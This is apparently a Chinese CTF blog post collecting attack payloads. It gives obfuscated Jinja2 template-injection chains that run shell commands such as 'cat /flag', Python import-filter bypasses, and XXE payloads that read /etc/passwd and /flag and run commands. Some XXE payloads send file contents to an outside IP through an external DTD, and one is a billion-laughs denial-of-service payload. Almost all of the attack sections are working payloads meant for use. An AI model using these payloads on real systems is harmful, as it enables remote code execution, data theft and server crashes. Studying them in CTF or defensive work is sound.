{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=nine+nine%}
{%set po=dict(po=a,p=b)|join%}
{%set xhx=(lipsum|string|list)|attr(po)(18)%}
{%set kg=(lipsum|string|list)|attr(po)(9)%}
{%set se=dict(se=a,lf=b)|join%}
{%set point = se|float|string|min %}
{%set glo=(xhx,xhx,dict(glo=a,bals=b)|join,xhx,xhx)|join%}
{%set get=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join%}
{%set s=dict(o=a,s=b)|join%}
{%set cla=(xhx,xhx,dict(cl=a,ass=b)|join,xhx,xhx)|join%}
{%set p=dict(po=a,pen=b)|join%}
{%set fl=(dict(c=a,at=b)|join,kg,dict(ap=a,p=f)|join,point,dict(py=a)|join)|join%}
{%set re=dict(re=a,ad=b)|join%}
{%print(lipsum|attr(glo)|attr(get)(s)|attr(p)(fl)|attr(re)())%}

没有/(/可以从app.py里找)
命令执行的/可以通过转换:

#ls /
{%set command='%c%c%c%c'%(108,115,32,47)%}

再补一个小全家福():

{%set gl='_'+'_'+'g''lobals'+'_'+'_'%}
{%set bu='_'+'_'+'b''uiltins'+'_'+'_'%}
{%set im='_'+'_'+'i''mport'+'_'+'_'%}
{%set yf='OS'|lower%}
{%set ls='%c%c%c%c%c%c%c%c%c'%(99,97,116,32,47,102,108,97,103)%}
{%print g['p''op'][gl][bu][im](yf)['p''open'](ls)['read']()%}

ctfshwo370ssti

{% set one=(a,)|length %}
{% set zero=one-one %}
{% set two=one+one %}
{% set three=one+two %}
{% set four=two*two %}
{% set five=three+two %}
{% set six=three*two %}
{% set seven=one+six %}
{% set eight=four*two %}
{% set nine=one+eight %}
{% set ten=five*two %}
{% set pops=dict(p=a,op=a)|join %}
{% set lo=(x|reject|string|list)|attr(pops)((four)+(two*ten))%}
{% set init=(lo,lo,dict(ini=a,t=a)|join,lo,lo)|join %}
{% set cc=(lo,lo,dict(glo=a,bals=a)|join,lo,lo)|join %}
{% set ccc=(lo,lo,dict(get=a,item=a)|join,lo,lo)|join %}
{% set cccc=(lo,lo,dict(buil=a,tins=a)|join,lo,lo)|join %}
{% set evas=dict(ev=a,al=a)|join %}
{% set chs=dict(ch=a,r=a)|join %}
{% set chr=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(chs)%}
{% set eval=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(evas) %}
{% print(eval((chr((five)+(nine*ten)),chr((five)+(nine*ten)),chr((five)+(zero*ten)+(one*ten*ten)),chr((nine)+(zero*ten)+(one*ten*ten)),chr((two)+(one*ten)+(one*ten*ten)),chr((one)+(one*ten)+(one*ten*ten)),chr((four)+(one*ten)+(one*ten*ten)),chr((six)+(one*ten)+(one*ten*ten)),chr((five)+(nine*ten)),chr((five)+(nine*ten)),chr((zero)+(four*ten)),chr((nine)+(three*ten)),chr((one)+(one*ten)+(one*ten*ten)),chr((five)+(one*ten)+(one*ten*ten)),chr((nine)+(three*ten)),chr((one)+(four*ten)),chr((six)+(four*ten)),chr((two)+(one*ten)+(one*ten*ten)),chr((one)+(one*ten)+(one*ten*ten)),chr((two)+(one*ten)+(one*ten*ten)),chr((one)+(zero*ten)+(one*ten*ten)),chr((zero)+(one*ten)+(one*ten*ten)),chr((zero)+(four*ten)),chr((nine)+(three*ten)),chr((nine)+(nine*ten)),chr((seven)+(nine*ten)),chr((six)+(one*ten)+(one*ten*ten)),chr((two)+(three*ten)),chr((seven)+(four*ten)),chr((two)+(zero*ten)+(one*ten*ten)),chr((eight)+(zero*ten)+(one*ten*ten)),chr((seven)+(nine*ten)),chr((three)+(zero*ten)+(one*ten*ten)),chr((nine)+(three*ten)),chr((one)+(four*ten)),chr((six)+(four*ten)),chr((four)+(one*ten)+(one*ten*ten)),chr((one)+(zero*ten)+(one*ten*ten)),chr((seven)+(nine*ten)),chr((zero)+(zero*ten)+(one*ten*ten)),chr((zero)+(four*ten)),chr((one)+(four*ten)))|join)) %}

import绕过

首先,禁用 import os 肯定是不行的,因为:

import  os
import   os
import    os

如果多个空格也过滤了,Python 能够 import 的可不止 import:

__import__:__import__('os')

importlib:importlib.import_module('os').system('ls')

其实import 的原理,本质上就是执行一遍导入的库。这个过程实际上可以用 execfile 来代替,只适用于python2版本:

execfile('/usr/lib/python2.7/os.py')
system('ls')

python2和python3兼容方法:

with open('/usr/lib/python3.6/os.py','r') as f:
    exec(f.read())
system('ls')

不过使用上面的这两种方法,就必须知道==库的路径==。其实在大多数的环境下,库都是默认路径。如果 sys 没被干掉的话,还可以确认一下,:

import sys
print(sys.path)

限制长度

Flask 框架中存在 config 全局对象,用来保存配置信息。

config 对象实质上是一个字典的子类,可以像字典一样操作。

因此要更新字典,我们可以使用 Python 中字典的 update() 方法

update() 方法 + 关键字参数更新字典:

{%set x=config.update(a=config.update)%}   //此时字典中a的值被更新为config全局对象中的update方法
{%set x=config.a(f=lipsum.__globals__)%}   //f的值被更新为lipsum.__globals__
{%set x=config.a(o=config.f.os)%}          //o的值被更新为lipsum.__globals__.os
{%set x=config.a(p=config.o.popen)%}       //p的值被更新为lipsum.__globals__.os.popen
{{config.p("cat /t*").read()}}     


{%set x=config.update(l=lipsum)%}
 
{%set x=config.update(g=request.args.a)%}&a=__globals__
 
{%set x=config.update(f=config.l|attr(config.g))%}
 
{%set x=config.update(o=config.f.os)%}
 
{%set x=config.update(p=config.o.popen)%}
 
{%print(config.p(request.args.c).read())%}&c=whoami

XXE

XXE就是服务器对XML解析时没有禁掉外部实体的引用与解析,导致攻击者构造的在DTD中声明外部实体的XML文档可以成功传入服务器并被直接解析,从而加载外部实体资源,造成文件读取、信息泄露、RCE等

XML总共由3个部分组成,分别是:

文档类型定义(Document Type Definition,简称DTD)即XML的布局语言;

可扩展的样式语言(Extensible Style Language,XSL)即XML的样式表语言;

可扩展链接语言(Extensible Link Language,XLL)。

xml
XXE漏洞(上)
XXE漏洞(下)

基础

读取文件
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root><name>&xxe;</name></root>

在安装expect扩展的PHP环境里执行系统命令
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root><name>&xxe;</name></root>

DTD外部实体中带入的 SYSTEM 可以执行http:// 、 file:// 、 https:// ,因此不用怀疑,我们还能进行php://伪协议的利用来读取任意文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>
<root><name>&xxe;</name></root>

盲注

OOB

remote引入1.txt中的内容,send带出file内容通过1.php写入2.txt

构造的XML
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://blog.187.ink/test.dtd">
%remote;%all;%send;
]>
    
    
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://62.204.54.54:1234?p=%file;'>">

基于报错

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。所以和OOB的构造方式几乎只有url出不同,其他地方一模一样。

引入服务器文件

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    %remote;
    %send;
]>
<message>1234</message>
<!-- xml.dtd -->
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;

引入本地文件

第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;send;
    '> 
    %remote;
]>
<message>1234</message>

DOS

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统,

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

如果 XML 解析器尝试使用/dev/random文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。

绕过

关键词过滤

使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

svg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>
最后修改:2024 年 12 月 18 日
如果觉得我的文章对你有用,请随意赞赏